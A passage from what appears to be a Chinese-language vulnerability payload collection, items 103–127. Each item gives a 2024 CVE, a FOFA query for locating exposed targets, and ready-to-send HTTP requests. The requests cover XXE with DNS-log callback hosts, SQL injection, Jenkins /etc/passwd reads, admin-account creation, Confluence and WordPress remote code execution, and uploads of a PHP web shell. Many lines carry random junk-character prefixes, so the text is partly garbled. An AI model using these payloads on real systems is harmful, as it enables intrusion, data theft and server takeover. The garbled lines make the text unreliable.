<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>

103. Ivanti Pulse Connect Secure VPN XXE
+ Q( R% b$ q; UCVE-2024-22024
FOFA：body="welcome.cgi?p=logo"
0 j8 n; i0 @3 O- {2 R) y9 pPOST /dana-na/auth/saml-sso.cgi HTTP/1.1
. k7 I# V" o2 R* ?$ eHost: 192.168.40.130:111
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
3 E# Z9 v# L* c) Y  W1 J4 qConnection: close
9 |2 n7 e: y! ^' x5 G& `4 EContent-Length: 204
Content-Type: application/x-www-form-urlencoded
; {4 X& t! n  A/ `Accept-Encoding: gzip
# M) k$ ?$ {& P( n8 S5 `3 O
SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==


其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
0 n1 e' U  Z5 J. \. _6 B/ l8 @<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>

% U2 K. f( D5 l. H$ [
! h* D$ F5 d; W6 r& Z0 L4 v104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
CVE-2024-0569
& ^4 ]2 Z8 ^( p, S# C' pFOFA：title="TOTOLINK"
! d! L( u  V: F: h* r- O+ cPOST /cgi-bin/cstecgi.cgi HTTP/1.1
Host:192.168.0.1
% d. Y  ^  `" `+ J4 K8 p$ s3 FContent-Length:41
5 n# J6 R( h# B/ hAccept:application/json,text/javascript，*/*;q=0.01
/ q0 W- I$ D* vX-Requested-with: XMLHttpRequest
0 b* M2 ?9 h1 z4 Y' ^User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
0 h# k, I& ^6 ?/ b1 Y& \Content-Type: application/x-www-form-urlencoded:charset=UTF-8
! }/ L$ e, O& G7 B9 z  }5 l9 B# WOrigin: http://192.168.0.1
Referer: http://192.168.0.1/advance/index.html?time=1671152380564
Accept-Encoding:gzip,deflate
% P. p2 {% q4 l+ D5 Z2 D8 LAccept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
1 `7 U: ?1 _6 e9 a- n6 e. H; C2 RConnection:close
9 t: _1 z( F, w9 I8 L
4 h3 _" V/ N$ k9 X4 g# h{
  _0 a* d: j  @7 v0 Z0 `5 z3 B- F"topicurl":"getSysStatusCfg",
$ R0 K5 P* B1 n6 L/ v/ g  E"token":""
4 N( H# t, }# Q' s}

105. SpringBlade v3.2.0 export-user SQL 注入
FOFA：body="https://bladex.vip"
# V8 H, V# i4 G; t" Qhttp://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1
! Z( d& M2 @6 Y& B4 `* i
106. SpringBlade dict-biz/list SQL 注入
FOFA：body="Saber 将不能正常工作"
3 q" _  R7 k1 Z  l6 mGET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
5 i; ?% r8 I1 N2 sHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
' B: ~% R- M+ k$ mBlade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
9 i- K0 p2 t- f7 XAccept-Encoding: gzip, deflate
4 o6 E' j* o' @/ p+ s7 v- _  C& iAccept-Language: zh-CN,zh;q=0.9
1 C3 V+ v% t. Z/ yConnection: close
& x, h! u7 i; l7 o% O5 B4 _
# e1 I$ m6 A8 c; _" j2 [
& c' ^3 e  m: }8 M107. SpringBlade tenant/list SQL 注入
& L9 H( O# @/ w) L/ J- RFOFA：body="https://bladex.vip"
0 F0 F4 M$ p' g# TGET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
  t( W. R0 C/ ABlade-Auth:替换为自己的
/ U& r6 Y3 \" @  K/ r0 n( W* X  OConnection: close
  n, Z0 P% U. v( O
0 ^7 e6 q3 P% r) F; }: ]
108. D-Tale 3.9.0 SSRF
0 \9 D5 r/ r" g) B/ eCVE-2024-21642
0 P2 ~3 |5 w# b& JFOFA："dtale/static/images/favicon.png"
GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
' f) h) m: ^) k' S. RHost: your-ip
Accept: application/json, text/plain, */*
. U- _8 s! Q% v. X; G  m6 QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
4 p  I, Y* ?3 Y7 x* J# k" k
2 C% c# [. u6 r- y" K
109. Jenkins CLI 任意文件读取
CVE-2024-23897
FOFA：header="X-Jenkins"
7 _* V- o. d4 {: I' ~0 L# x' [POST /cli?remoting=false HTTP/1.1
Host:
9 Y$ c: w; H# K6 s' O2 iContent-type: application/octet-stream
( z& i7 }" u3 J) q$ tSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
Side: upload
Connection: keep-alive
Content-Length: 163

b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
9 b! }2 b/ b+ d+ o/ L* _
7 i1 B: }! L! H* }
POST /cli?remoting=false HTTP/1.1
7 T- T# k2 D, y) Z' [) i. }0 cHost:
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
& V5 Q' j# P$ W2 d1 D6 N; N, V5 \download
Content-Type: application/x-www-form-urlencoded
Content-Length: 0


ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
8 _3 n- v' N3 P9 [java -jar jenkins-cli.jar help
2 K) r& @! {6 t/ G- x[COMMAND]
, H% \5 Q5 _* _2 O* E# T1 DLists all the available commands or a detailed description of single command.
% ~" y/ q5 l8 N* s COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)


110. Goanywhere MFT 未授权创建管理员
) _  {6 [* P: `0 X+ Q. n2 S9 Z9 |CVE-2024-0204
FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
7 L7 D1 @/ I; w( J8 AHost: 192.168.40.130:8000
+ P* [( _7 ^" L& u- DUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
Accept: */*
# X, _2 ~* L2 ^* b1 j3 N. ?& L7 X; ]8 ~Accept-Language: en
Accept-Encoding: gzip
; e+ I: M* h* g- k9 j! l6 j& i% B
. Y( a2 ^& q5 D! ^8 D. Y2 U0 ~
" x: m$ l) S( r3 k4 U111. WordPress Plugin HTML5 Video Player SQL注入
, N. R$ W8 |; r0 SCVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
Host: 192.168.40.130:112
4 _5 W% k7 Q; \  AUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept: */*
* R4 O7 O7 U- R+ j8 EAccept-Language: en
& l% `0 `, ?/ C0 D& ?) I: nAccept-Encoding: gzip

8 }) g9 C8 X5 n
112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
+ o6 j/ W: ^) m; Y" A3 dFOFA：body="/wp-content/plugins/notificationx"
. S0 b8 i+ ]8 R% @/ w1 Q6 S- a- APOST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json

2 R. s) q) b: X0 ]6 F{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
! C' h9 }- {: |9 V& ]

4 T& {3 h4 L; ^$ q1 {. z1 X* R) R1 P113. WordPress Automatic 插件任意文件下载和SSRF
CVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
' `: T% B% M, ]7 aHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

4 d5 Z5 s+ _! q9 [* ?8 D6 Y9 ~- K* X
& k1 Z& [3 l" v6 ^* {8 q' i& k# T114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
; F8 u& q% H. `$ U4 C+ b: x2 ]Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
& e0 d3 u5 F/ Y% j2 \5 q  }' ~' EAccept-Encoding: gzip, deflate
Connection: close


# o  |, k4 s4 p115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
' g- ^/ k7 z. f, }6 I; [' SFOFA: body="/wp-content/themes/bricks/"
第一步，获取网站的nonce值
GET / HTTP/1.1
) N8 R  k7 j/ b3 cHost: x.x.x.x
1 u, D# X; g1 h/ Q/ z5 EUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
1 w" }8 c' I6 t( q+ P/ F' N0 X% gAccept-Encoding: gzip
; m: k' x$ u& o
( l0 e& j4 b0 D9 d
; H1 x; s, x5 O& h: A$ u7 K第二步替换nonce值，执行命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
Host: x.x.x.x
$ r  o7 B7 m* n: @5 J9 F3 T0 J) eUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
9 X/ U0 J& e& u* y1 Q0 P8 K& aConnection: close
( q9 T4 [; S+ A' a$ cContent-Length: 356
Content-Type: application/json
0 j9 Q; t! O' m! v* k, H( wAccept-Encoding: gzip
$ Y' l5 b) B, ?$ D) B2 h# g+ k
- m1 x3 O  j2 C8 p& k8 L{
, v! n" k5 k0 x; W0 H, G5 y% ~"postId": "1",
  "nonce": "第一步获得的值",
3 v( |" w2 r/ }- N. B  "element": {
    "name": "container",
    "settings": {
      "hasLoop": "true",
      "query": {
) ~' E; G2 R( z2 J4 w) [+ p0 C; ]' }) @        "useQueryEditor": true,
  ~; L6 g6 K& [$ D$ Y        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
# }& {) U# l6 h7 a* M5 A        "objectType": "post"
7 b$ o3 t* L# z( R" x- f      }
3 I, S: C( T+ T  e2 y4 V7 a& U$ T    }
5 |5 F5 J5 Q7 ^; ~3 b0 b  }
}
* E! |. d/ P/ q
. |* W3 P# F& J6 ?: v
116. wordpress js-support-ticket文件上传
9 i9 c! Z. n0 pFOFA：body="wp-content/plugins/js-support-ticket"
5 |4 o$ a, o9 ^7 `  hPOST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
Host:
1 ]+ _' k* q3 XContent-Type: multipart/form-data; boundary=--------767099171
2 ^$ N* |$ T1 J. c4 H7 vUser-Agent: Mozilla/5.0

; ~' n6 U( ?, B* D  `4 e; b6 E7 z----------767099171
Content-Disposition: form-data; name="action"
7 q; s/ K) K( P7 nconfiguration_saveconfiguration
- N6 k; w" P9 \% S1 c5 D----------767099171
Content-Disposition: form-data; name="form_request"
9 ]4 e0 L6 \2 Ojssupportticket
----------767099171
" H$ N1 [* v' FContent-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
4 u7 W- n4 h2 T+ J0 [, y" j7 g----------767099171--
( Z' I' ~  ]- z' G& p1 i$ D! r
( b6 T/ K+ z8 g6 c* ~# W/ Q
117. WordPress LayerSlider插件SQL注入
version：7.9.11 – 7.10.0
: m( ~& X  ~1 K2 t( F3 X& I8 u' xFOFA：body="/wp-content/plugins/LayerSlider/"
, y; ?+ ]0 G. V& H! GGET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
% y' {: j; R3 ^Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
9 X' J% n$ N/ d+ h1 c; rAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
9 e6 x) l* f$ U% h" U# R9 q  JConnection: close
! l  z( H+ z0 V/ `Upgrade-Insecure-Requests: 1


118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
CVE-2024-0939
4 ^, V, S/ t  u$ tFOFA：title="Smart管理平台"
2 d3 a% [8 J7 v" n% |5 xPOST /Tool/uploadfile.php? HTTP/1.1
' d0 t5 a- r9 [7 W& e" zHost: 192.168.40.130:8443
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
- C) Q$ W  I0 W) `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
, N1 j1 H) E8 l1 [Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 T- [$ U. K/ ^/ o1 u0 nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 z) M& M+ L4 M  p  kAccept-Encoding: gzip, deflate
1 _3 ~* [0 R7 z, R8 VContent-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
% t1 I  s% E4 A5 FContent-Length: 405
# l" Z1 ^4 D1 Z. u0 e& IOrigin: https://192.168.40.130:8443
& ^3 z7 a" }! E1 ?( XReferer: https://192.168.40.130:8443/Tool/uploadfile.php
# t2 a: r: z' o$ vUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
# D4 V2 R0 N- Y1 U) L+ @) u$ |Sec-Fetch-Mode: navigate
" K4 C6 N) u3 N  P3 j% JSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
0 c  k7 f9 I# f* UTe: trailers
Connection: close

1 I5 V, V: N$ E: s/ G-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream

<?php
system($_POST["passwd"]);
?>
-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="txt_path"
- e0 z+ P4 p/ X% j' ~
% `- F( V* }) D3 @1 I! V/home/src.php
5 R* p- u; S) P, n% q# W# U1 \6 P-----------------------------13979701222747646634037182887--


访问/home/src.php

119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
$ f1 U$ T: F* i+ EFOFA：title="Smart管理平台"
先登录进入系统，默认账号密码为admin/admin
6 V" N' @0 _/ K; ~8 q5 PPOST /sysmanage/sysmanageajax.php HTTP/1.11
& R$ }4 e7 X; o7 aHost: x.x.x.x
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
0 k( Z( \, m+ ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
* |) |# [. _# b  KAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 ], O9 @4 t! l8 G- sAccept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
3 g% {' \4 z% z3 E0 W$ PContent-Length: 109
7 Z( H: i4 t2 DOrigin: https://58.18.133.60:8443
! ]- N5 q% I1 e( I  BReferer: https://58.18.133.60:8443/sysmanage/manageadmin.php
1 i! g" ~2 N2 X( D0 u3 {Sec-Fetch-Dest: empty
8 j0 D( @" i7 P7 PSec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
X-Originating-Ip: 1.1.1.1
# ]- _6 _' U1 S( V1 uX-Remote-Ip: 1.1.1.1
X-Remote-Addr: 1.1.1.1
# l, o7 J' i( \4 v$ |5 oTe: trailers
Connection: close
! B/ c- J; U, {) b
% @+ {8 I/ K4 psrc=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456

. q+ G* G/ T+ i/ C1 B
120. 北京百绰智能S40管理平台导入web.php任意文件上传
CVE-2024-1253
FOFA：title="Smart管理平台"
POST /useratte/web.php? HTTP/1.1
; z* \9 a& ?$ zHost: ip:port
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
: i' A. ?( z3 U! {9 A$ ^+ xUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
# F  n; e9 s9 _* P+ RAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
9 |+ a6 P0 F1 ^1 d6 H' }8 y* L# ZContent-Length: 597
Origin: https://ip:port
Referer: https://ip:port/sysmanage/licence.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
8 P, Z4 C3 o# i' t7 M$ D( ?( m) GSec-Fetch-Mode: navigate
9 Y8 {1 R& r; HSec-Fetch-Site: same-origin
& f5 O7 k- r/ ZSec-Fetch-User: ?1
  a0 p( e5 W' D) T  v5 LTe: trailers
9 S( q- z: ^* h# Z$ J! @1 o0 `Connection: close

-----------------------------42328904123665875270630079328
% z2 e; t/ j6 oContent-Disposition: form-data; name="file_upload"; filename="2.php"
2 [; S) W+ ?1 D4 ?Content-Type: application/octet-stream
, V% F! T9 N% Q0 U: E! W
' D$ f: Q9 V+ U& Y! V<?php phpinfo()?>
% {' X/ L6 U/ Z-----------------------------42328904123665875270630079328
) Z7 i) w$ Z9 a; R7 i6 P( zContent-Disposition: form-data; name="id_type"
$ W! i$ N" ]* R/ o
# D# B$ v2 e4 r& x& Q0 F; l( s6 P1
: ?( Q' x/ c  k! z- E: `9 W/ Y7 U' H1 Q-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"
: Q! _! d  V/ E# ~
1_radhttp
& F: p0 T- |0 O" i1 S% O, E. V* j-----------------------------42328904123665875270630079328
7 t- X& \! T$ w! v% g9 q! pContent-Disposition: form-data; name="mode"
. H  p5 w6 D, r. m: T
; k3 A. H! K: q4 U* T# E, [import
1 z0 T; \/ J: Z6 c-----------------------------42328904123665875270630079328

1 [: \4 U# j" |0 P- i
% I! s- a& F5 c2 L. Q& J文件路径/upload/2.php

121. 北京百绰智能S42管理平台userattestation.php任意文件上传
% t% l' [( Q5 a1 B- K7 f+ \CVE-2024-1918
FOFA：title="Smart管理平台"
) _  ?6 B( q: fPOST /useratte/userattestation.php HTTP/1.1
8 P: e0 _8 L% A; v( D+ Q3 y. M+ hHost: 192.168.40.130:8443
4 P4 @; w7 @7 d' z$ vCookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
9 N1 ]$ L/ ^( D9 n/ E6 l6 xUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 B4 c. ?3 t- R: \4 o: {1 ]Accept-Encoding: gzip, deflate
1 v$ T/ L+ u& c0 tContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
' I0 R4 V) O6 M7 PContent-Length: 592
Origin: https://192.168.40.130:8443
Upgrade-Insecure-Requests: 1
$ Y- _# T$ R9 q) z  GSec-Fetch-Dest: document
: e, F, f8 f2 b* @: _# z+ J5 A! ISec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
" M! z1 L+ \- Z1 u2 FSec-Fetch-User: ?1
Te: trailers
Connection: close

-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream
  s% n- A) F: |$ F; ]
<?php phpinfo();?>
' |: e; y  Z  |: O-----------------------------42328904123665875270630079328
/ O, k3 d! ], `) f8 @( \Content-Disposition: form-data; name="id_type"
9 J* T  Q9 U# J0 d
1
-----------------------------42328904123665875270630079328
% L) n0 e* N/ v9 a2 ?+ YContent-Disposition: form-data; name="1_ck"
) z3 n1 H  p$ g6 B
. C, Q! s$ `6 R! |/ L  e1_radhttp
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="hidwel"

# W: l, }  x( R$ l9 M% C5 ~# _set
4 s! j6 g  I5 s6 N2 J1 d& U  j-----------------------------42328904123665875270630079328

6 j2 [- f1 y# J" I4 l6 ?/ F
1 D) D7 z, ~) h0 f/ Sboot/web/upload/weblogo/1.php
8 v/ X  H( x' T! x6 _
9 v$ h+ A0 C! G2 H+ a3 {5 L122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
, Y( @! [( q' `0 Y5 t% j' ^8 k其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
5 Q/ @1 A" T" a( E* k7 o5 f( CGET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
8 r. d/ S3 v# R! B+ ^Host: x.x.x.x
& P" P  a( a( I; I$ f7 u4 Y/ hCookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
" D: Y0 `3 f) ]: J1 d* k7 d6 e+ |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
4 c+ M1 o' Q" `! q9 S2 JAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
/ v- f" }$ e8 o. VAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
0 o# z9 c& L- H% Z  @: t; cSec-Fetch-Site: none
  p7 J4 F8 R/ v5 I7 T7 z( e( qSec-Fetch-User: ?1
Te: trailers
) S4 x* C8 [' b% l! q& _* w# QConnection: close


( b. Z. k1 L8 ], Z8 g123. Atlassian Confluence 模板注入代码执行
( L, N) C3 l3 j2 RFOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
# [& s' I: a  c+ ^  KPOST /template/aui/text-inline.vm HTTP/1.1
' i3 i5 ~4 |5 E  P  KHost: localhost:8090
  k* f9 h6 S  k& Y& H0 tAccept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
4 q5 D5 M+ P+ g2 T( dConnection: close
Content-Type: application/x-www-form-urlencoded
0 V9 _4 v6 }7 ?* y7 A6 F3 z5 I4 g
label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
7 e/ x9 P& u7 `

124. 湖南建研工程质量检测系统任意文件上传
FOFA：body="/Content/Theme/Standard/webSite/login.css"
POST /Scripts/admintool?type=updatefile HTTP/1.1
Host: 192.168.40.130:8282
$ l) Y# r# ?% B3 K# b' r/ G8 n1 _User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded

& E  F* M5 |( h  \filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>

, X: K* ~( T$ i' V, |# ~
http://192.168.40.130:8282/Scripts/abcgcg.aspx

125. ConnectWise ScreenConnect身份验证绕过
CVE-2024-1709
FOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc

, P* }/ I, n- Q9 Y9 R0 d
使用方法
; U" P5 t3 h1 {' C; d1 vpython watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!
, d: v# F1 Q0 P) o
" o: ~( M, V$ k' X3 U0 }0 c- y
8 k: B. I) B0 i5 }% r- e5 H创建好用户后直接登录后台，可以执行系统命令。
' N5 t( ]- f$ l
126. Aiohttp 路径遍历
% \2 P5 c5 \, x9 x' hFOFA：title=="ComfyUI"
GET /static/../../../../../etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
" Z' t- \: Q1 e7 g9 CConnection: close
7 {5 [! j' t% |Accept: */*
Accept-Language: en
; F/ t! Z6 G4 ~# C- N8 D- yAccept-Encoding: gzip


127. 广联达Linkworks DataExchange.ashx XXE
$ ^9 \, W6 \2 r$ P2 [/ k! YFOFA：body="Services/Identification/login.ashx"
4 H' N* C' d& C0 Q; s2 APOST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
7 g- o0 \4 I) |; z0 y4 j, S* B0 sHost: 192.168.40.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Length: 415
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
